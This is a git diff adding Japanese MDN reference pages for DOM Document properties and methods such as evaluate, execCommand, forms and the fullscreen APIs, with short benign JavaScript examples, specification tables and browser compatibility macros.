指定された座標がドキュメントの表示外にあるか、座標のどちらかに負の値が設定されている場合は NULL を返します。

+

{{Note("XUL ドキュメントからは onload イベントが発生するまでは、このメソッドを使用してはいけません。")}}

+

仕様

+ diff --git a/files/ja/web/api/document/embeds/index.html b/files/ja/web/api/document/embeds/index.html new file mode 100644 index 0000000000..0dc595c755 --- /dev/null +++ b/files/ja/web/api/document/embeds/index.html @@ -0,0 +1,50 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - embeds + - プロパティ +translation_of: Web/API/Document/embeds +--- +
{{ApiRef}}
+ +

{{domxref("Document")}} インターフェイスの embeds プロパティは読み取り専用で、現在の文書の埋め込み {{htmlelement("object")}} 要素のリストを返します。

+ +

構文

+ +
nodeList = document.embeds
+
+ +

値

+ +

{{domxref("HTMLCollection")}} です。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
+ +

ブラウザーの対応

+ + + +
{{Compat("api.Document.embeds")}}
diff --git a/files/ja/web/api/document/enablestylesheetsforset/index.html b/files/ja/web/api/document/enablestylesheetsforset/index.html new file mode 100644 index 0000000000..5acd3bc29a --- /dev/null +++ b/files/ja/web/api/document/enablestylesheetsforset/index.html @@ -0,0 +1,60 @@ +--- +title: Document.enableStyleSheetsForSet() +slug: Web/API/Document/enableStyleSheetsForSet +tags: + - API + - CSSOM + - DOM + - Method + - NeedsMarkupWork + - NeedsSpecTable + - Reference +translation_of: Web/API/Document/enableStyleSheetsForSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{Obsolete_header}}
+ +

現在のスタイルシートセットの中で指定された名前に一致するスタイルシートを有効化し、それ以外のスタイルシートを (常に有効になるタイトルなしのものを除いて) 無効化します。.

+ +

構文

+ +
document.enableStyleSheetsForSet(name);
+
+ +

引数

+ +
+
name
+
有効にするスタイルシートの名前。この名前に一致する題名を持ったスタイルシートはすべて有効化され、他の題名を持つスタイルシートは無効化されます。引数 name に空文字列を指定すると、すべての代替および推奨スタイルシートを無効化します (常設スタイルシート、つまり、 title 属性がないものを除く)。
+
+ +

注

+ + + +

例

+ +
document.enableStyleSheetsForSet("Some style sheet set name");
+
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.enableStyleSheetsForSet")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/evaluate/index.html b/files/ja/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..6ca3c32fff --- /dev/null +++ b/files/ja/web/api/document/evaluate/index.html @@ -0,0 +1,209 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +translation_of: Web/API/Document/evaluate +--- +
{{ ApiRef("DOM") }}
+ +
XPath 式やその他与えられたパラメータに基づいて XPathResult を返します。
+ +
 
+ +

構文

+ +
var xpathResult = document.evaluate(
+ xpathExpression,
+ contextNode,
+ namespaceResolver,
+ resultType,
+ result
+);
+ + + +

例

+ +
var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null);
+/* Search the document for all h2 elements.
+ * The result will likely be an unordered node iterator. */
+var thisHeading = headings.iterateNext();
+var alertText = "Level 2 headings in this document are:\n";
+while (thisHeading) {
+  alertText += thisHeading.textContent + "\n";
+  thisHeading = headings.iterateNext();
+}
+alert(alertText); // Alerts the text of all h2 elements
+
+ +

Note, in the above example, a more verbose XPath is preferred over common shortcuts such as //h2. Generally, more specific XPath selectors as in the above example usually gives a significant performance improvement, especially on very large documents. This is because the evaluation of the query spends does not waste time visiting unnecessary nodes. Using // is generally slow as it visits every node from the root and all subnodes looking for possible matches.

+ +

Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:

+ +
document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null);
+
+ +

Notice in the above document.body has been used as the context instead of document so the XPath starts from the body element. (In this example, the "." is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.)

+ +

See Introduction to using XPath in JavaScript for more information.

+ +

注釈

+ + + +

戻り値の分類

+ +

(Merge with Template:XPathResultConstants?

+ +

These are supported values for the resultType parameter of the evaluate method:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Result TypeValueDescription
ANY_TYPE0Whatever type naturally results from the given expression.
NUMBER_TYPE1A result set containing a single number. Useful, for example, in an XPath expression using the count() function.
STRING_TYPE2A result set containing a single string.
BOOLEAN_TYPE3A result set containing a single boolean value. Useful, for example, an an XPath expression using the not() function.
UNORDERED_NODE_ITERATOR_TYPE4A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_ITERATOR_TYPE5A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
UNORDERED_NODE_SNAPSHOT_TYPE6A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.
ORDERED_NODE_SNAPSHOT_TYPE7A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.
ANY_UNORDERED_NODE_TYPE8A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.
FIRST_ORDERED_NODE_TYPE9A result set containing the first node in the document that matches the expression.
+ +

Results of NODE_ITERATOR types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

+ +

Results of NODE_SNAPSHOT types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

+ +

仕様

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator-evaluate", "Document.evaluate")}}{{Spec2("DOM3 XPath")}}Initial specification
+ +

ブラウザ互換性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
XPath 1.0 support11.5 (1.8){{CompatNo}}9.0{{CompatVersionUnknown}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
XPath 1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Implemented in WebKit 5.0 (531) or earlier.

+ +

関連項目

+ + diff --git a/files/ja/web/api/document/execcommand/index.html b/files/ja/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..268553810a --- /dev/null +++ b/files/ja/web/api/document/execcommand/index.html @@ -0,0 +1,180 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - Document + - Reference + - execCommand + - エディター + - メソッド +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}{{Obsolete_header}}
+ +

HTML 文書が designMode に切り替わっていると、その document オブジェクトは execCommand メソッドを公開して、フォーム入力欄や contentEditable を持った要素など、現在編集可能な領域を操作するためのコマンドが実行できるようにします。

+ +

多くのコマンドは、文書の選択範囲に対して影響を及ぼしますが (太字、イタリック、など)、他にも新しい要素の挿入 (リンクの追加) や行全体に影響するもの (字下げ) もあります。 contentEditable を使用した場合、 execCommand() は現在アクティブな編集可能要素に影響を及ぼします。

+ +

構文

+ +
document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+
+ +

返値

+ +

{{jsxref('Boolean')}} で、コマンドが対応していないか無効であれば false になります。

+ +
+

メモ: ユーザーの操作の中で行われた場合にのみ true を返します。コマンドを呼び出す前、ブラウザーが対応しているかどうかを検査するために、返値を使用しないでください。

+
+ +

引数

+ +
+
aCommandName
+
{{domxref("DOMString")}} で、実行するコマンドの名前を指定します。使用可能なコマンドの一覧は、{{anch("Commands", "コマンド")}}の節をご覧ください。
+
aShowDefaultUI
+
{{jsxref("Boolean")}} で、既定のユーザインターフェースを表示するかどうかを指示します。 Mozilla では未実装です。
+
aValueArgument
+
追加の引数を必要とするコマンドの引数 (例えば、 insertImage では挿入する画像の URL)。引数の値は {{domxref("DOMString")}} です。引数が不要な場合は null を指定します。
+
+ +

コマンド

+ +
+
backColor
+
文書の背景色を変更します。 styleWithCss モードでは、文書ではなく含まれているブロックの背景色に影響します。この場合、引数として {{cssxref("<color>")}} 値の文字列を渡す必要があります。ただし、Internet Explorer ではテキストの背景色を設定するために使用します。
+
bold
+
選択範囲または挿入位置の太字のオンとオフを切り替えます。 Internet Explorer は {{HTMLElement("b")}} タグの代わりに {{HTMLElement("strong")}} タグを使用します。
+
ClearAuthenticationCache
+
キャッシュからすべての資格情報をクリアします。
+
contentReadOnly
+
コンテンツドキュメントを読み取り専用または編集可能にします。引数として true または false の真偽値が必要です。 (Internet Explorer は対応していません。)
+
copy
+
現在の選択範囲をクリップボードにコピーします。この動作が有効になる条件は、ブラウザーによって様々であり、時の経過により発展する可能性があります。このコマンドが使用可能かどうかは、ブラウザーの互換性のセクションで確認してください。
+
createLink
+
選択範囲からハイパーリンクを作成しますが、選択範囲があるときだけです。ハイパーリンクの href の引数として、 URI が必要です。 URI は少なくとも1文字を含む必要があり、空白文字でもかまいません。 (Internet Explorer は null 値でリンクを作成できます。)
+
cut
+
現在の選択範囲を除去して、クリップボードにコピーします。いつこの動作が有効になるかはブラウザーによって様々であり、条件は時期によって変化しています。使用方法の詳細はブラウザーの互換性で確認してください。
+
decreaseFontSize
+
選択範囲の前後または挿入位置に {{HTMLElement("small")}} タグを追加します。(Internet Explorer では対応していません。)
+
defaultParagraphSeparator
+
編集可能なテキスト領域に新しい段落が作成された時の、段落区切りを変更します。詳しくはマークアップ生成の違いを参照してください。
+
delete
+
現在の選択範囲を削除します。
+
enableAbsolutePositionEditor
+
絶対配置の要素を移動させるためのグラバーを有効化または無効化します。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})
+
enableInlineTableEditing
+
表の行/列の挿入・削除コントロールを有効または無効にします。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})
+
enableObjectResizing
+
画像、表、絶対配置の要素、などの大きさの変更が可能なオブジェクトにおいて、大きさ変更用のハンドルを有効化または無効化します。 Firefox 63 ベータ/開発版では、既定で無効です。 ({{bug(1449564)}})
+
fontName
+
選択範囲または挿入位置のフォント名を変更します。引数としてフォント名の文字列 ("Arial" など) が必要です。
+
fontSize
+
選択範囲または挿入位置のフォントサイズを変更します。引数として 1-7 の整数値が必要です。
+
foreColor
+
選択範囲または挿入位置のフォント色を変更します。引数として16進表記で色の値の文字列が必要です。
+
formatBlock
+
現在の選択範囲を含む行の前後に HTML ブロックレベル要素を追加し、すでに存在する場合は、その行を含むブロック要素に置き換えます (Firefox では {{HTMLElement("blockquote")}} は例外です。 — これはブロック要素を囲みます)。引数としてタグ名の文字列が必要です。実質的にすべてのブロックレベル要素を利用することができます。 (Internet Explorer および Edge は見出しタグ H1–H6, ADDRESS, PRE のみに対応しており、 "<H1>" のように山かっこで囲む必要があります。)
+
forwardDelete
+
カーソル位置より前の文字を 1 文字削除します。これは、 Windows のキーボードで Delete キーを押すのと同じ動作です。
+
heading
+
選択範囲または挿入位置の行の周りに見出し要素を追加します。引数としてタグ名の文字列 (つまり "H1" や "H6") が必要です。 (Internet Explorer や Safari は対応していません。)
+
hiliteColor
+
選択範囲または挿入位置の背景色を変更します。引数として color 値の文字列が必要です。この機能は useCSS を true にしないと使えません。(Internet Explorer では対応していません。)
+
increaseFontSize
+
選択範囲または挿入位置に {{HTMLElement("big")}} タグを追加します。(Internet Explorer では対応していません。)
+
indent
+
選択範囲または挿入位置を含む行を字下げします。Firefox では、選択範囲が字下げレベルの異なる複数行にわたる場合、選択範囲内の最も字下げの少ない行のみが字下げされます。
+
insertBrOnReturn
+
Enter キーで {{HTMLElement("br")}} 要素を挿入するか現在のブロック要素を二分割するかを制御します。 (Internet Explorer では対応していません。)
+
insertHorizontalRule
+
挿入位置に {{HTMLElement("hr")}} 要素を挿入するか、選択範囲を置き換えるかします。
+
insertHTML
+
挿入位置に HTML 文字列を挿入します (選択範囲は削除されます)。引数として正しい HTML 文字列が必要です。(Internet Explorer では対応していません。)
+
insertImage
+
挿入位置に画像を挿入します (選択範囲は削除されます)。引数として画像の src のための URL 文字列が必要です。この文字列の要求事項は、 createLink と同じです。
+
insertOrderedList
+
選択範囲または挿入位置に番号付き順序付きリストを生成します。
+
insertUnorderedList
+
選択範囲または挿入位置行頭記号付き順序なしリストを生成します。
+
insertParagraph
+
選択範囲の前後または現在の行に段落を挿入します。(Internet Explorer は挿入位置に段落を挿入し、現在の選択範囲を削除します。)
+
insertText
+
挿入位置に与えられたプレーンテキストを挿入します (選択範囲は削除されます)。
+
italic
+
選択範囲または挿入位置のイタリック体のオンとオフを切り替えます。(Internet Explorer は {{HTMLElement("i")}} 要素ではなく、 {{HTMLElement("em")}} 要素を使用します。)
+
justifyCenter
+
選択範囲または挿入位置を中央揃えにします。
+
justifyFull
+
選択範囲または挿入位置を両端揃えにします。
+
justifyLeft
+
選択範囲または挿入位置を左寄せにします。
+
justifyRight
+
選択範囲または挿入位置を右寄せにします。
+
outdent
+
選択範囲または挿入位置を含む行の字下げを戻します。
+
paste
+
クリップボードのコンテンツを挿入位置に貼り付け (ペースト) します (現在の選択範囲は置き換えられます)。ウェブコンテンツでは無効です。 [1] を参照。
+
redo
+
前回の undo コマンドを元に戻します。
+
removeFormat
+
現在の選択範囲からすべての書式を削除します。
+
selectAll
+
編集可能領域のすべてのコンテンツを選択します。
+
strikeThrough
+
選択範囲または挿入位置の取り消し線のオンとオフを切り替えます。
+
subscript
+
選択範囲または挿入位置の下付き文字のオンとオフを切り替えます。
+
superscript
+
選択範囲または挿入位置の上付き文字のオンとオフを切り替えます。
+
underline
+
選択範囲または挿入位置の下線のオンとオフを切り替えます。
+
undo
+
最後に実行したコマンドを取り消します。
+
unlink
+
選択されたハイパーリンクからアンカー要素を削除します。
+
useCSS {{Deprecated_inline}}
+
生成するマークアップに HTML タグと CSS のどちらを使用するかを切り替えます。引数として true または false の真偽値が必要です。
+
メモ: この引数は論理的に逆で (つまり、 false で CSS が使用され、true で HTML が使用される)、 Internet Explorer では対応していません。これは styleWithCSS に置き換えられ、非推奨になりました。
+
styleWithCSS
+
useCSS コマンドを置き換えるものです。 true はマークアップ時に style 属性が生成または変更され、 false では書式要素が生成されます。
+
+ +

例

+ +

CodePen に使用方法の例があります。

+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態備考
execCommand非公式の草稿
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.execCommand")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/exitfullscreen/index.html b/files/ja/web/api/document/exitfullscreen/index.html new file mode 100644 index 0000000000..0a9a5008f5 --- /dev/null +++ b/files/ja/web/api/document/exitfullscreen/index.html @@ -0,0 +1,89 @@ +--- +title: Document.exitFullscreen() +slug: Web/API/Document/exitFullscreen +tags: + - API + - DOM + - Document + - Full + - Full-screen + - Fullscreen API + - Method + - Reference + - exitFullscreen + - fullscreen + - screen + - メソッド + - 全画面 +translation_of: Web/API/Document/exitFullscreen +--- +
{{ApiRef("Fullscreen API")}}
+ +

{{domxref("Document")}} の exitFullscreen() メソッドは、この文書で現在全画面モードで表示されている要素が全画面モードを向け、画面を以前の状態に戻すことを要求します。これはふつう、以前の {{domxref("Element.requestFullscreen()")}} の呼び出しの効果を取り消します。

+ +

構文

+ +
exitPromise = document.exitFullscreen();
+
+ +

引数

+ +

なし。

+ +

返値

+ +

{{Glossary("user agent", "ユーザーエージェント")}}が全画面モードから完全に抜けたら解決される {{jsxref("Promise")}} です。全画面モードから抜けようとしてエラーが発生したら、 Promise の catch() ハンドラーが呼び出されます。

+ +

例

+ +

この例ではマウスボタンで中をクリックするたびに、現在の文書が全画面表示になったり戻ったりします。

+ +
document.onclick = function (event) {
+  if (document.fullscreenElement) {
+    document.exitFullscreen()
+      .then(() => console.log("Document Exited form Full screen mode"))
+      .catch((err) => console.error(err))
+  } else {
+    document.documentElement.requestFullscreen()
+  }
+}
+ +
+

注: もっと完全な例については、{{SectionOnPage("/ja/docs/Web/API/Element/requestFullScreen", "例")}}をご覧ください。

+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-exitfullscreen", "Document.exitFullscreen()")}}{{Spec2("Fullscreen")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.exitFullscreen")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/exitpointerlock/index.html b/files/ja/web/api/document/exitpointerlock/index.html new file mode 100644 index 0000000000..287380d3e5 --- /dev/null +++ b/files/ja/web/api/document/exitpointerlock/index.html @@ -0,0 +1,54 @@ +--- +title: Document.exitPointerLock() +slug: Web/API/Document/exitPointerLock +tags: + - API + - Experimental + - Method + - Reference + - mouse lock +translation_of: Web/API/Document/exitPointerLock +--- +
{{APIRef("DOM")}} {{seeCompatTable}}
+ +

exitPointerLock() メソッドは、以前 {{domxref("Element.requestPointerLock")}} でリクエストされたポインターロックを非同期に解放します。

+ +

リクエストが成功したか失敗したかを追跡するには、 {{event("pointerlockchange")}} および {{event("pointerlockerror")}} イベントを待ち受けする必要があります。

+ +

構文

+ +
document.exitPointerLock();
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Document インターフェイスを拡張
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.exitPointerLock")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/featurepolicy/index.html b/files/ja/web/api/document/featurepolicy/index.html new file mode 100644 index 0000000000..12ecf23a99 --- /dev/null +++ b/files/ja/web/api/document/featurepolicy/index.html @@ -0,0 +1,48 @@ +--- +title: Document.featurePolicy +slug: Web/API/Document/featurePolicy +tags: + - API + - Document + - Feature Policy + - Feature-Policy + - Reference + - 機能ポリシー +translation_of: Web/API/Document/featurePolicy +--- +

{{APIRef("Feature Policy")}}

+ +

featurePolicy は {{domxref("Document")}} インターフェイスの読み取り専用プロパティで、特定の文書に適用される機能ポリシーを見ることができる簡単な API を提供する {{domxref("Policy")}} インターフェイスを返します。

+ +

構文

+ +
var policy = iframeElement.featurePolicy
+ +

値

+ +

{{domxref("FeaturePolicy")}} オブジェクトで、文書に適用された機能ポリシーの設定を調べるために使用するうことができます。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Feature Policy")}}{{Spec2("Feature Policy")}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.featurePolicy")}}

diff --git a/files/ja/web/api/document/fgcolor/index.html b/files/ja/web/api/document/fgcolor/index.html new file mode 100644 index 0000000000..c78804801e --- /dev/null +++ b/files/ja/web/api/document/fgcolor/index.html @@ -0,0 +1,49 @@ +--- +title: Document.fgColor +slug: Web/API/Document/fgColor +tags: + - API + - DOM + - Deprecated + - Document + - HTML DOM + - Reference + - fgColor + - プロパティ +translation_of: Web/API/Document/fgColor +--- +
{{ApiRef}}{{Deprecated_header}}
+ +

fgColor は、現在の文書の前景色またはテキストの色を取得または設定します。

+ +

構文

+ +
var color = document.fgColor;
+document.fgColor = color;
+
+ +

引数

+ + + +

例

+ +
document.fgColor = "white";
+document.bgColor = "darkblue";
+
+ +

メモ

+ +

Mozilla Firefox ではこのプロパティの既定値は黒 (16進数で #000000) です。

+ +

document.fgColor は DOM Level 2 HTML で非推奨となっています。推奨される代替手段は CSS プロパティの {{Cssxref("color")}} (たとえば document.body.style.color = "red") です。

+ +

他の代替手段として document.body.text がありますが、上記の CSS による代替手段が設置されたため HTML 4.01 で非推奨となっています。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.fgColor")}}

diff --git a/files/ja/web/api/document/fonts/index.html b/files/ja/web/api/document/fonts/index.html new file mode 100644 index 0000000000..c0994c97c4 --- /dev/null +++ b/files/ja/web/api/document/fonts/index.html @@ -0,0 +1,66 @@ +--- +title: Document.fonts +slug: Web/API/Document/fonts +tags: + - API + - DOM + - Font Loading API + - FontFace + - FontFaceSet + - Fonts + - フォント +translation_of: Web/API/Document/fonts +--- +

{{APIRef("DOM")}}

+ +

fonts は {{domxref("Document")}} インターフェイスのプロパティで、文書の {{domxref("FontFaceSet")}} インターフェイスを返します。

+ +

構文

+ +
let fontFaceSet = document.fonts;
+ +

値

+ +

返値は文書の {{domxref("FontFaceSet")}} インターフェイスです。 FontFaceSet インターフェイスは新しいフォントを読み込んだり、以前読み込まれたフォントの状態をチェックしたりするのに有用です。

+ +

例

+ +

すべてのフォントが読み込まれた後の操作の実行

+ +
document.fonts.ready.then(function() {
+  // すべてのフォントが読み込まれた後にのみ実行する必要がある操作を
+  // ここに記述します。
+});
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('CSS3 Font Loading','#FontFaceSet-interface','FontFaceSet')}}{{Spec2('CSS3 Font Loading')}}初回定義
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.fonts")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/forms/index.html b/files/ja/web/api/document/forms/index.html new file mode 100644 index 0000000000..47c42a30ea --- /dev/null +++ b/files/ja/web/api/document/forms/index.html @@ -0,0 +1,128 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - API + - DOM + - Document + - HTML DOM + - HTML フォーム + - フォーム + - プロパティ + - リファレンス +translation_of: Web/API/Document/forms +--- +

{{domxref("Document")}} インターフェイスの forms プロパティは読み取り専用で、文書内に含まれるすべての {{HTMLElement("form")}} を列挙した {{domxref("HTMLCollection")}} を返します。

+ +
+

メモ: 同様に、{{domxref("HTMLFormElement.elements")}} プロパティを使用すると、フォームコンポーネントのユーザー入力要素のリストにアクセスすることができます。

+
+ +

構文

+ +
collection = document.forms;
+ +

値

+ +

文書のすべてのフォームを列挙する {{domxref("HTMLCollection")}} オブジェクトです。コレクションのそれぞれの項目は、単一の <form> 要素を表す {{domxref("HTMLFormElement")}} です。

+ +

文書にフォームがない場合、返されるコレクションは空で、長さはゼロです。

+ +

例

+ +

フォーム情報の取得

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+<title>document.forms example</title>
+</head>
+
+<body>
+
+<form id="robby">
+  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
+</form>
+
+<form id="dave">
+  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
+</form>
+
+<form id="paul">
+  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
+</form>
+
+</body>
+</html>
+
+ +

フォーム内要素の取得

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+
+ +

名前付きフォームへのアクセス

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <title>document.forms example</title>
+</head>
+
+<body>
+
+<form name="login">
+  <input name="email" type="email">
+  <input name="password" type="password">
+  <button type="submit">Log in</button>
+</form>
+
+<script>
+  var loginForm = document.forms.login; // Or document.forms['login']
+  loginForm.elements.email.placeholder = 'test@example.com';
+  loginForm.elements.password.placeholder = 'password';
+</script>
+</body>
+</html>
+
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態コメント
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }}
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.forms")}}

+ +

関連情報

+ + + +
{{APIRef("DOM")}}
diff --git a/files/ja/web/api/document/fullscreen/index.html b/files/ja/web/api/document/fullscreen/index.html new file mode 100644 index 0000000000..83389f0fdd --- /dev/null +++ b/files/ja/web/api/document/fullscreen/index.html @@ -0,0 +1,80 @@ +--- +title: Document.fullscreen +slug: Web/API/Document/fullscreen +tags: + - API + - Document + - Fullscreen API + - Read-only + - Reference + - プロパティ +translation_of: Web/API/Document/fullscreen +--- +
{{APIRef("Fullscreen API")}}{{Deprecated_Header}}
+ +

廃止された {{domxref("Document")}} インターフェイスの fullscreen プロパティは読み取り専用で、文書が現在全画面モードで表示されているかどうかを報告します。

+ +

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

+ +
+

メモ: このプロパティは非推奨であり、文書が全画面モードになっているかどうかは、 {{DOMxRef("Document.fullscreenElement")}} が null ではないことで確認することができます。

+
+ +

構文

+ +
var isFullScreen = document.fullscreen;
+
+ +

返値

+ +

真偽値であり、文書が全画面モードで表示されているときに true、それ以外の場合に false になります。

+ +

例

+ +

このシンプルな関数は、現在全画面モードがアクティブになっているかどうかを、廃止された fullscreen プロパティを使用して報告しています。

+ +
function isDocumentInFullScreenMode() {
+  return document.fullscreen;
+}
+
+ +

一方、次の例では、現在の fullscreenElement プロパティを使用して同じことを確認しています。

+ +
function isDocumentInFullScreenMode() {
+  return document.fullscreenElement !== null;
+}
+ +

fullscreenElement が null でなければ、これは true を返し、全画面モードで表示されていることを示します。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreen", "Document.fullscreen")}}{{Spec2("Fullscreen")}}初回定義 (廃止プロパティとして)
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.fullscreen")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/fullscreenchange_event/index.html b/files/ja/web/api/document/fullscreenchange_event/index.html new file mode 100644 index 0000000000..308d99b941 --- /dev/null +++ b/files/ja/web/api/document/fullscreenchange_event/index.html @@ -0,0 +1,90 @@ +--- +title: 'Document: fullscreenchange イベント' +slug: Web/API/Document/fullscreenchange_event +tags: + - API + - Fullscreen API + - Reference + - events + - fullscreen + - fullscreenchange + - イベント + - 全画面モード +translation_of: Web/API/Document/fullscreenchange_event +--- +
{{APIRef}}
+ +

fullscreenchange イベントは、ブラウザーが全画面モードに移行したり終了したりした直後に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onfullscreenchange", "onfullscreenchange")}}
+ +

このイベントは、全画面モードに移行または終了しようとしている Element に送られ、それから Document までバブリングします。

+ +<p<code>Element が全画面モードに移行しようとしているのか、終了しようとしているのかを判別するには、 {{domxref("DocumentOrShadowRoot/fullscreenElement", "DocumentOrShadowRoot.fullscreenElement")}} の値をチェックしてください。この値が null ならば、要素が全画面モードを終了しようとしており、そうでなければ全画面モードに移行しようとしています。 + +

例

+ +

この例では、 fullscreenchange イベントのハンドラーが {{domxref("Document")}} に追加されます。

+ +
document.addEventListener('fullscreenchange', (event) => {
+  // document.fullscreenElement は、全画面モードにある要素があれば
+  // それを指します。要素がなければ、このプロパティの値は null に
+  // あります。
+  if (document.fullscreenElement) {
+    console.log(`Element: ${document.fullscreenElement.id} entered full-screen mode.`);
+  } else {
+    console.log('Leaving full-screen mode.');
+  }
+});
+
+ +

その他の例については Element: fullscreenchange イベントを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + +
仕様書状態
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.Document.fullscreenchange_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/fullscreenenabled/index.html b/files/ja/web/api/document/fullscreenenabled/index.html new file mode 100644 index 0000000000..56e5358fae --- /dev/null +++ b/files/ja/web/api/document/fullscreenenabled/index.html @@ -0,0 +1,79 @@ +--- +title: Document.fullscreenEnabled +slug: Web/API/Document/fullscreenEnabled +tags: + - API + - Document + - Fullscreen API + - Property + - Read-only + - Reference + - fullscreenEnabled + - プロパティ + - 全画面 + - 画面 +translation_of: Web/API/Document/fullscreenEnabled +--- +
{{APIRef("Fullscreen API")}}
+ +

{{domxref("Document")}} インターフェイスの fullscreenEnabled プロパティは読み取り専用で、全画面モードが使用できるかを示します。全画面モードは文書内にウィンドウ化されたプラグインを含まないページ、および文書内のすべての {{HTMLElement("iframe")}} 要素が {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性を持つページに限り使用することができます。

+ +

このプロパティは読み取り専用ですが、変更されても (strict モードでも) 例外を投げません。セッターは何もしないので、無視されます。

+ +

構文

+ +
var isFullscreenAvailable = document.fullscreenEnabled;
+
+ +

値

+ +

{{domxref("Boolean")}} 値であり、文書や要素が {{domxref("Element.requestFullscreen()")}} を呼び出すことで全画面モードに移行できるのであれば true です。全画面モードが利用できないのであれば、値は false になります。

+ +

例

+ +

この例では、 {{htmlElement("video")}} 要素に全画面モードへの移行を試みる前に fullscreenEnabled の値をチェックし、利用できない場合には移行を試みないようにします。

+ +
function requestFullScreen() {
+  if (document.fullscreenEnabled) {
+    videoElement.requestFullScreen();
+  } else {
+    console.log('現在ブラウザーは全画面モードを使用することができません');
+  }
+}
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("Fullscreen", "#dom-document-fullscreenenabled", "Document.fullscreenEnabled")}}{{Spec2("Fullscreen")}}初回定義
+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.fullscreenEnabled")}}

+ +

関連情報

